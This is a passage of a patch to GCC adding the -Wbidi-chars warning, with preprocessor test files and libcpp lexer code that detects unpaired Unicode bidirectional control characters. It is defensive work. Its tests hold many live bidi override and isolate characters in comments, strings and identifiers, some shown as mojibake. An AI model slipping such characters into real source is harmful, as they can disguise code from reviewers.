++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c7 = '\u202e';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c8 = '\u202E';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c9 = '\u2066';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c10 = '\u2067';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c11 = '\u2068';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++}
++
++int aâªbâ¬c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ«bâ¬c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ­bâ¬c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ®bâ¬c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ¦bâ©c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ§bâ©c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ¨bâ©c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int Aâ¬X;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int A\u202cY;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int A\u202CY2;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++int d\u202ae\u202cf;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202Ae\u202cf2;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202be\u202cf;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202Be\u202cf2;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202de\u202cf;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202De\u202cf2;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202ee\u202cf;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202Ee\u202cf2;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u2066e\u2069f;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u2067e\u2069f;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u2068e\u2069f;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int X\u2069;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-6.c b/gcc/testsuite/c-c++-common/Wbidi-chars-6.c
+new file mode 100644
+index 00000000000..0ce6fff2dee
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-6.c
+@@ -0,0 +1,155 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test nesting of bidi chars in various contexts. */
++
++/* Terminated by the wrong char: */
++/* a b c LRE⪠1 2 3 PDI⩠x y z */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLEâ« 1 2 3 PDIâ© x y z*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c LROâ­ 1 2 3 PDIâ© x y z */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLOâ® 1 2 3 PDIâ© x y z */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c LRI⦠1 2 3 PDF⬠x y z */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLI⧠1 2 3 PDF⬠x y z */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c FSI⨠1 2 3 PDF⬠x y z*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++/* LRE⪠PDF⬠*/
++/* LRE⪠LRE⪠PDF⬠PDF⬠*/
++/* PDF⬠LRE⪠PDF⬠*/
++/* LRE⪠PDF⬠LRE⪠PDF⬠*/
++/* LRE⪠LRE⪠PDF⬠*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* PDF⬠LRE⪠*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++// a b c LRE⪠1 2 3 PDI⩠x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLEâ« 1 2 3 PDIâ© x y z*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c LROâ­ 1 2 3 PDIâ© x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLOâ® 1 2 3 PDIâ© x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c LRI⦠1 2 3 PDF⬠x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLI⧠1 2 3 PDF⬠x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c FSI⨠1 2 3 PDF⬠x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++// LRE⪠PDFâ¬
++// LRE⪠LRE⪠PDF⬠PDFâ¬
++// PDF⬠LRE⪠PDFâ¬
++// LRE⪠PDF⬠LRE⪠PDFâ¬
++// LRE⪠LRE⪠PDFâ¬
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// PDF⬠LREâª
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++void
++g1 ()
++{
++ const char *s1 = "a b c LRE⪠1 2 3 PDI⩠x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s2 = "a b c LRE\u202a 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s3 = "a b c RLEâ« 1 2 3 PDIâ© x y ";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s4 = "a b c RLE\u202b 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s5 = "a b c LROâ­ 1 2 3 PDIâ© x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s6 = "a b c LRO\u202d 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s7 = "a b c RLOâ® 1 2 3 PDIâ© x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s8 = "a b c RLO\u202e 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s9 = "a b c LRI⦠1 2 3 PDF⬠x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s10 = "a b c LRI\u2066 1 2 3 PDF\u202c x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s11 = "a b c RLI⧠1 2 3 PDF⬠x y z\
++ ";
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++ const char *s12 = "a b c RLI\u2067 1 2 3 PDF\u202c x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s13 = "a b c FSI⨠1 2 3 PDF⬠x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s14 = "a b c FSI\u2068 1 2 3 PDF\u202c x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s15 = "PDF⬠LREâª";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s16 = "PDF\u202c LRE\u202a";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s17 = "LRE⪠PDFâ¬";
++ const char *s18 = "LRE\u202a PDF\u202c";
++ const char *s19 = "LRE⪠LRE⪠PDF⬠PDFâ¬";
++ const char *s20 = "LRE\u202a LRE\u202a PDF\u202c PDF\u202c";
++ const char *s21 = "PDF⬠LRE⪠PDFâ¬";
++ const char *s22 = "PDF\u202c LRE\u202a PDF\u202c";
++ const char *s23 = "LRE⪠LRE⪠PDFâ¬";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s24 = "LRE\u202a LRE\u202a PDF\u202c";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s25 = "PDF⬠LREâª";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s26 = "PDF\u202c LRE\u202a";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s27 = "PDF⬠LRE\u202a";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s28 = "PDF\u202c LREâª";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++}
++
++int aLREâªbPDIâ©;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int A\u202aB\u2069C;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aRLEâ«bPDIâ©;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a\u202bB\u2069c;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aLROâ­bPDIâ©;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a\u202db\u2069c2;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aRLOâ®bPDIâ©;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a\u202eb\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aLRIâ¦bPDFâ¬;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a\u2066b\u202c;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aRLIâ§bPDFâ¬c
++;
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++int a\u2067b\u202c;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aFSIâ¨bPDFâ¬;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a\u2068b\u202c;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aFSIâ¨bPD\u202C;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aFSI\u2068bPDFâ¬_;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aLREâªbPDFâ¬b;
++int A\u202aB\u202c;
++int a_LREâª_LREâª_b_PDFâ¬_PDFâ¬;
++int A\u202aA\u202aB\u202cB\u202c;
++int aPDFâ¬bLREadPDFâ¬;
++int a_\u202C_\u202a_\u202c;
++int a_LREâª_b_PDFâ¬_c_LREâª_PDFâ¬;
++int a_\u202a_\u202c_\u202a_\u202c_;
++int a_LREâª_b_PDFâ¬_c_LREâª;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a_\u202a_\u202c_\u202a_;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-7.c b/gcc/testsuite/c-c++-common/Wbidi-chars-7.c
+new file mode 100644
+index 00000000000..d012d420ec0
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-7.c
+@@ -0,0 +1,9 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=any" } */
++/* Test we ignore UCNs in comments. */
++
++// a b c \u202a 1 2 3
++// a b c \u202A 1 2 3
++/* a b c \u202a 1 2 3 */
++/* a b c \u202A 1 2 3 */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-8.c b/gcc/testsuite/c-c++-common/Wbidi-chars-8.c
+new file mode 100644
+index 00000000000..4f54c5092ec
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-8.c
+@@ -0,0 +1,13 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=any" } */
++/* Test \u vs \U. */
++
++int a_\u202A;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int a_\u202a_2;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int a_\U0000202A_3;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int a_\U0000202a_4;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-9.c b/gcc/testsuite/c-c++-common/Wbidi-chars-9.c
+new file mode 100644
+index 00000000000..e2af1b1ca97
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-9.c
+@@ -0,0 +1,29 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test that we properly separate bidi contexts (comment/identifier/character
++ constant/string literal). */
++
++/* LRE ->âª<- */ int pdf_\u202c_1;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* RLE ->â«<- */ int pdf_\u202c_2;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* LRO ->â­<- */ int pdf_\u202c_3;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* RLO ->â®<- */ int pdf_\u202c_4;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* LRI ->â¦<-*/ int pdi_\u2069_1;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* RLI ->â§<- */ int pdi_\u2069_12;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* FSI ->â¨<- */ int pdi_\u2069_3;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++const char *s1 = "LRE\u202a"; /* PDF ->â¬<- */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* LRE ->âª<- */ const char *s2 = "PDF\u202c";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s3 = "LRE\u202a"; int pdf_\u202c_5;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int lre_\u202a; const char *s4 = "PDF\u202c";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/libcpp/include/cpplib.h b/libcpp/include/cpplib.h
+index 176f8c5bbce..112b9c24751 100644
+--- a/libcpp/include/cpplib.h
++++ b/libcpp/include/cpplib.h
+@@ -318,6 +318,17 @@ enum cpp_main_search
+ CMS_system, /* Search the system INCLUDE path. */
+ };
+
++/* The possible bidirectional control characters checking levels, from least
++ restrictive to most. */
++enum cpp_bidirectional_level {
++ /* No checking. */
++ bidirectional_none,
++ /* Only detect unpaired uses of bidirectional control characters. */
++ bidirectional_unpaired,
++ /* Detect any use of bidirectional control characters. */
++ bidirectional_any
++};
++
+ /* This structure is nested inside struct cpp_reader, and
+ carries all the options visible to the command line. */
+ struct cpp_options
+@@ -531,6 +542,10 @@ struct cpp_options
+ /* True if warn about differences between C++98 and C++11. */
+ bool cpp_warn_cxx11_compat;
+
++ /* Nonzero if bidirectional control characters checking is on. See enum
++ cpp_bidirectional_level. */
++ unsigned char cpp_warn_bidirectional;
++
+ /* Dependency generation. */
+ struct
+ {
+@@ -635,7 +650,8 @@ enum cpp_warning_reason {
+ CPP_W_C90_C99_COMPAT,
+ CPP_W_C11_C2X_COMPAT,
+ CPP_W_CXX11_COMPAT,
+- CPP_W_EXPANSION_TO_DEFINED
++ CPP_W_EXPANSION_TO_DEFINED,
++ CPP_W_BIDIRECTIONAL
+ };
+
+ /* Callback for header lookup for HEADER, which is the name of a
+diff --git a/libcpp/init.c b/libcpp/init.c
+index 5a424e23553..f9a8f5f088f 100644
+--- a/libcpp/init.c
++++ b/libcpp/init.c
+@@ -219,6 +219,7 @@ cpp_create_reader (enum c_lang lang, cpp
+ = ENABLE_CANONICAL_SYSTEM_HEADERS;
+ CPP_OPTION (pfile, ext_numeric_literals) = 1;
+ CPP_OPTION (pfile, warn_date_time) = 0;
++ CPP_OPTION (pfile, cpp_warn_bidirectional) = bidirectional_unpaired;
+
+ /* Default CPP arithmetic to something sensible for the host for the
+ benefit of dumb users like fix-header. */
+diff --git a/libcpp/internal.h b/libcpp/internal.h
+index 8577cab6c83..0ce0246c5a2 100644
+--- a/libcpp/internal.h
++++ b/libcpp/internal.h
+@@ -597,6 +597,13 @@ struct cpp_reader
+ /* Location identifying the main source file -- intended to be line
+ zero of said file. */
+ location_t main_loc;
++
++ /* Returns true iff we should warn about UTF-8 bidirectional control
++ characters. */
++ bool warn_bidi_p () const
++ {
++ return CPP_OPTION (this, cpp_warn_bidirectional) != bidirectional_none;
++ }
+ };
+
+ /* Character classes. Based on the more primitive macros in safe-ctype.h.
+diff --git a/libcpp/lex.c b/libcpp/lex.c
+index fa2253d41c3..6a4fbce6030 100644
+--- a/libcpp/lex.c
++++ b/libcpp/lex.c
+@@ -1164,6 +1164,324 @@ _cpp_process_line_notes (cpp_reader *pfi
+ }
+ }
+
++namespace bidi {
++ enum class kind {
++ NONE, LRE, RLE, LRO, RLO, LRI, RLI, FSI, PDF, PDI, LTR, RTL
++ };
++
++ /* All the UTF-8 encodings of bidi characters start with E2. */
++ constexpr uchar utf8_start = 0xe2;
++
++ /* A vector holding currently open bidi contexts. We use a char for
++ each context, its LSB is 1 if it represents a PDF context, 0 if it
++ represents a PDI context. The next bit is 1 if this context was open
++ by a bidi character written as a UCN, and 0 when it was UTF-8. */
++ semi_embedded_vec <unsigned char, 16> vec;
++
++ /* Close the whole comment/identifier/string literal/character constant
++ context. */
++ void on_close ()
++ {
++ vec.truncate (0);
++ }
++
++ /* Pop the last element in the vector. */
++ void pop ()
++ {
++ unsigned int len = vec.count ();
++ gcc_checking_assert (len > 0);
++ vec.truncate (len - 1);
++ }
++
++ /* Return the context of the Ith element. */
++ kind ctx_at (unsigned int i)
++ {
++ return (vec[i] & 1) ? kind::PDF : kind::PDI;
++ }
++
++ /* Return which context is currently opened. */
++ kind current_ctx ()
++ {
++ unsigned int len = vec.count ();
++ if (len == 0)
++ return kind::NONE;
++ return ctx_at (len - 1);
++ }
++
++ /* Return true if the current context comes from a UCN origin, that is,
++ the bidi char which started this bidi context was written as a UCN. */
++ bool current_ctx_ucn_p ()
++ {
++ unsigned int len = vec.count ();
++ gcc_checking_assert (len > 0);
++ return (vec[len - 1] >> 1) & 1;
++ }
++
++ /* We've read a bidi char, update the current vector as necessary. */
++ void on_char (kind k, bool ucn_p)
++ {
++ switch (k)
++ {
++ case kind::LRE:
++ case kind::RLE:
++ case kind::LRO:
++ case kind::RLO:
++ vec.push (ucn_p ? 3u : 1u);
++ break;
++ case kind::LRI:
++ case kind::RLI:
++ case kind::FSI:
++ vec.push (ucn_p ? 2u : 0u);
++ break;
++ /* PDF terminates the scope of the last LRE, RLE, LRO, or RLO
++ whose scope has not yet been terminated. */
++ case kind::PDF:
++ if (current_ctx () == kind::PDF)
++ pop ();
++ break;
++ /* PDI terminates the scope of the last LRI, RLI, or FSI whose
++ scope has not yet been terminated, as well as the scopes of
++ any subsequent LREs, RLEs, LROs, or RLOs whose scopes have not
++ yet been terminated. */
++ case kind::PDI:
++ for (int i = vec.count () - 1; i >= 0; --i)
++ if (ctx_at (i) == kind::PDI)
++ {
++ vec.truncate (i);
++ break;
++ }
++ break;
++ case kind::LTR:
++ case kind::RTL:
++ /* These aren't popped by a PDF/PDI. */
++ break;
++ [[likely]] case kind::NONE:
++ break;
++ default:
++ abort ();
++ }
++ }
++
++ /* Return a descriptive string for K. */
++ const char *to_str (kind k)
++ {
++ switch (k)
++ {
++ case kind::LRE:
++ return "U+202A (LEFT-TO-RIGHT EMBEDDING)";
++ case kind::RLE:
++ return "U+202B (RIGHT-TO-LEFT EMBEDDING)";
++ case kind::LRO:
++ return "U+202D (LEFT-TO-RIGHT OVERRIDE)";
++ case kind::RLO:
++ return "U+202E (RIGHT-TO-LEFT OVERRIDE)";
++ case kind::LRI:
++ return "U+2066 (LEFT-TO-RIGHT ISOLATE)";
++ case kind::RLI:
++ return "U+2067 (RIGHT-TO-LEFT ISOLATE)";
++ case kind::FSI:
++ return "U+2068 (FIRST STRONG ISOLATE)";
++ case kind::PDF:
++ return "U+202C (POP DIRECTIONAL FORMATTING)";
++ case kind::PDI:
++ return "U+2069 (POP DIRECTIONAL ISOLATE)";
++ case kind::LTR:
++ return "U+200E (LEFT-TO-RIGHT MARK)";
++ case kind::RTL:
++ return "U+200F (RIGHT-TO-LEFT MARK)";
++ default:
++ abort ();
++ }
++ }
++}
++
++/* Parse a sequence of 3 bytes starting with P and return its bidi code. */
++
++static bidi::kind
++get_bidi_utf8 (const unsigned char *const p)
++{
++ gcc_checking_assert (p[0] == bidi::utf8_start);
++
++ if (p[1] == 0x80)
++ switch (p[2])
++ {
++ case 0xaa:
++ return bidi::kind::LRE;
++ case 0xab:
++ return bidi::kind::RLE;
++ case 0xac:
++ return bidi::kind::PDF;
++ case 0xad:
++ return bidi::kind::LRO;
++ case 0xae:
++ return bidi::kind::RLO;
++ case 0x8e:
++ return bidi::kind::LTR;
++ case 0x8f:
++ return bidi::kind::RTL;
++ default:
++ break;
++ }
++ else if (p[1] == 0x81)
++ switch (p[2])
++ {
++ case 0xa6:
++ return bidi::kind::LRI;
++ case 0xa7:
++ return bidi::kind::RLI;
++ case 0xa8:
++ return bidi::kind::FSI;
++ case 0xa9:
++ return bidi::kind::PDI;
++ default:
++ break;
++ }
++
++ return bidi::kind::NONE;
++}
++
++/* Parse a UCN where P points just past \u or \U and return its bidi code. */
++
++static bidi::kind
++get_bidi_ucn (const unsigned char *p, bool is_U)
++{
++ /* 6.4.3 Universal Character Names
++ \u hex-quad
++ \U hex-quad hex-quad
++ where \unnnn means \U0000nnnn. */
++
++ if (is_U)
++ {
++ if (p[0] != '0' || p[1] != '0' || p[2] != '0' || p[3] != '0')
++ return bidi::kind::NONE;
++ /* Skip 4B so we can treat \u and \U the same below. */
++ p += 4;
++ }
++
++ /* All code points we are looking for start with 20xx. */
++ if (p[0] != '2' || p[1] != '0')
++ return bidi::kind::NONE;
++ else if (p[2] == '2')
++ switch (p[3])
++ {
++ case 'a':
++ case 'A':
++ return bidi::kind::LRE;
++ case 'b':
++ case 'B':
++ return bidi::kind::RLE;
++ case 'c':
++ case 'C':
++ return bidi::kind::PDF;
++ case 'd':
++ case 'D':
++ return bidi::kind::LRO;
++ case 'e':
++ case 'E':
++ return bidi::kind::RLO;
++ default:
++ break;
++ }
++ else if (p[2] == '6')
++ switch (p[3])
++ {
++ case '6':
++ return bidi::kind::LRI;
++ case '7':
++ return bidi::kind::RLI;
++ case '8':
++ return bidi::kind::FSI;
++ case '9':
++ return bidi::kind::PDI;
++ default:
++ break;
++ }
++ else if (p[2] == '0')
++ switch (p[3])
++ {
++ case 'e':
++ case 'E':
++ return bidi::kind::LTR;
++ case 'f':
++ case 'F':
++ return bidi::kind::RTL;
++ default:
++ break;
++ }
++
++ return bidi::kind::NONE;
++}
++
++/* We're closing a bidi context, that is, we've encountered a newline,
++ are closing a C-style comment, or are at the end of a string literal,
++ character constant, or identifier. Warn if this context was not
++ properly terminated by a PDI or PDF. P points to the last character
++ in this context. */
++
++static void
++maybe_warn_bidi_on_close (cpp_reader *pfile, const uchar *p)
++{
++ if (CPP_OPTION (pfile, cpp_warn_bidirectional) == bidirectional_unpaired
++ && bidi::vec.count () > 0)
++ {
++ const location_t loc
++ = linemap_position_for_column (pfile->line_table,
++ CPP_BUF_COLUMN (pfile->buffer, p));
++ cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
++ "unpaired UTF-8 bidirectional control character "
++ "detected");
++ }
++ /* We're done with this context. */
++ bidi::on_close ();
++}
++
++/* We're at the beginning or in the middle of an identifier/comment/string
++ literal/character constant. Warn if we've encountered a bidi character.
++ KIND says which bidi character it was; P points to it in the character
++ stream. UCN_P is true iff this bidi character was written as a UCN. */
++
++static void
++maybe_warn_bidi_on_char (cpp_reader *pfile, const uchar *p, bidi::kind kind,
++ bool ucn_p)
++{
++ if (__builtin_expect (kind == bidi::kind::NONE, 1))
++ return;
++
++ const auto warn_bidi = CPP_OPTION (pfile, cpp_warn_bidirectional);
++
++ if (warn_bidi != bidirectional_none)
++ {
++ const location_t loc
++ = linemap_position_for_column (pfile->line_table,
++ CPP_BUF_COLUMN (pfile->buffer, p));
++ /* It seems excessive to warn about a PDI/PDF that is closing
++ an opened context because we've already warned about the
++ opening character. Except warn when we have a UCN x UTF-8
++ mismatch. */
++ if (kind == bidi::current_ctx ())
++ {
++ if (warn_bidi == bidirectional_unpaired
++ && bidi::current_ctx_ucn_p () != ucn_p)
++ cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
++ "UTF-8 vs UCN mismatch when closing "
++ "a context by \"%s\"", bidi::to_str (kind));
++ }
++ else if (warn_bidi == bidirectional_any)
++ {
++ if (kind == bidi::kind::PDF || kind == bidi::kind::PDI)
++ cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
++ "\"%s\" is closing an unopened context",
++ bidi::to_str (kind));
++ else
++ cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
++ "found problematic Unicode character \"%s\"",
++ bidi::to_str (kind));
++ }
++ }
++ /* We're done with this context. */
++ bidi::on_char (kind, ucn_p);
++}
++
+ /* Skip a C-style block comment. We find the end of the comment by
+ seeing if an asterisk is before every '/' we encounter. Returns
+ nonzero if comment terminated by EOF, zero otherwise.
+@@ -1175,6 +1493,7 @@ _cpp_skip_block_comment (cpp_reader *pfi
+ cpp_buffer *buffer = pfile->buffer;
+ const uchar *cur = buffer->cur;
+ uchar c;
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+
+ cur++;
+ if (*cur == '/')
+@@ -1189,7 +1508,11 @@ _cpp_skip_block_comment (cpp_reader *pfi
+ if (c == '/')
+ {
+ if (cur[-2] == '*')
+- break;
++ {
++ if (warn_bidi_p)
++ maybe_warn_bidi_on_close (pfile, cur);
++ break;
++ }
+
+ /* Warn about potential nested comments, but not if the '/'
+ comes immediately before the true comment delimiter.
+@@ -1208,6 +1531,8 @@ _cpp_skip_block_comment (cpp_reader *pfi
+ {
+ unsigned int cols;
+ buffer->cur = cur - 1;
++ if (warn_bidi_p)
++ maybe_warn_bidi_on_close (pfile, cur);
+ _cpp_process_line_notes (pfile, true);
+ if (buffer->next_line >= buffer->rlimit)
+ return true;
+@@ -1218,6 +1543,13 @@ _cpp_skip_block_comment (cpp_reader *pfi
+
+ cur = buffer->cur;
+ }
++ /* If this is a beginning of a UTF-8 encoding, it might be
++ a bidirectional control character. */
++ else if (__builtin_expect (c == bidi::utf8_start, 0) && warn_bidi_p)
++ {
++ bidi::kind kind = get_bidi_utf8 (cur - 1);
++ maybe_warn_bidi_on_char (pfile, cur, kind, /*ucn_p=*/false);
++ }
+ }
+
+ buffer->cur = cur;
+@@ -1233,9 +1565,31 @@ skip_line_comment (cpp_reader *pfile)
+ {
+ cpp_buffer *buffer = pfile->buffer;
+ location_t orig_line = pfile->line_table->highest_line;
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+
+- while (*buffer->cur != '\n')
+- buffer->cur++;
++ if (!warn_bidi_p)
++ while (*buffer->cur != '\n')
++ buffer->cur++;
++ else
++ {
++ while (*buffer->cur != '\n'
++ && *buffer->cur != bidi::utf8_start)
++ buffer->cur++;
++ if (__builtin_expect (*buffer->cur == bidi::utf8_start, 0))
++ {
++ while (*buffer->cur != '\n')
++ {
++ if (__builtin_expect (*buffer->cur == bidi::utf8_start, 0))
++ {
++ bidi::kind kind = get_bidi_utf8 (buffer->cur);
++ maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
++ /*ucn_p=*/false);
++ }
++ buffer->cur++;
++ }
++ maybe_warn_bidi_on_close (pfile, buffer->cur);
++ }
++ }
+
+ _cpp_process_line_notes (pfile, true);
+ return orig_line != pfile->line_table->highest_line;
+@@ -1317,11 +1671,13 @@ static const cppchar_t utf8_signifier =
+
+ /* Returns TRUE if the sequence starting at buffer->cur is valid in
+ an identifier. FIRST is TRUE if this starts an identifier. */
++
+ static bool
+ forms_identifier_p (cpp_reader *pfile, int first,
+ struct normalize_state *state)
+ {
+ cpp_buffer *buffer = pfile->buffer;
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+
+ if (*buffer->cur == '$')
+ {
+@@ -1344,6 +1700,13 @@ forms_identifier_p (cpp_reader *pfile, i
+ cppchar_t s;
+ if (*buffer->cur >= utf8_signifier)
+ {
++ if (__builtin_expect (*buffer->cur == bidi::utf8_start, 0)
++ && warn_bidi_p)
++ {
++ bidi::kind kind = get_bidi_utf8 (buffer->cur);
++ maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
++ /*ucn_p=*/false);
++ }
+ if (_cpp_valid_utf8 (pfile, &buffer->cur, buffer->rlimit, 1 + !first,
+ state, &s))
+ return true;
+@@ -1352,6 +1715,13 @@ forms_identifier_p (cpp_reader *pfile, i
+ && (buffer->cur[1] == 'u' || buffer->cur[1] == 'U'))
+ {
+ buffer->cur += 2;
++ if (warn_bidi_p)
++ {
++ bidi::kind kind = get_bidi_ucn (buffer->cur,
++ buffer->cur[-1] == 'U');
++ maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
++ /*ucn_p=*/true);
++ }
+ if (_cpp_valid_ucn (pfile, &buffer->cur, buffer->rlimit, 1 + !first,
+ state, &s, NULL, NULL))
+ return true;
+@@ -1460,6 +1830,7 @@ lex_identifier (cpp_reader *pfile, const
+ const uchar *cur;
+ unsigned int len;
+ unsigned int hash = HT_HASHSTEP (0, *base);
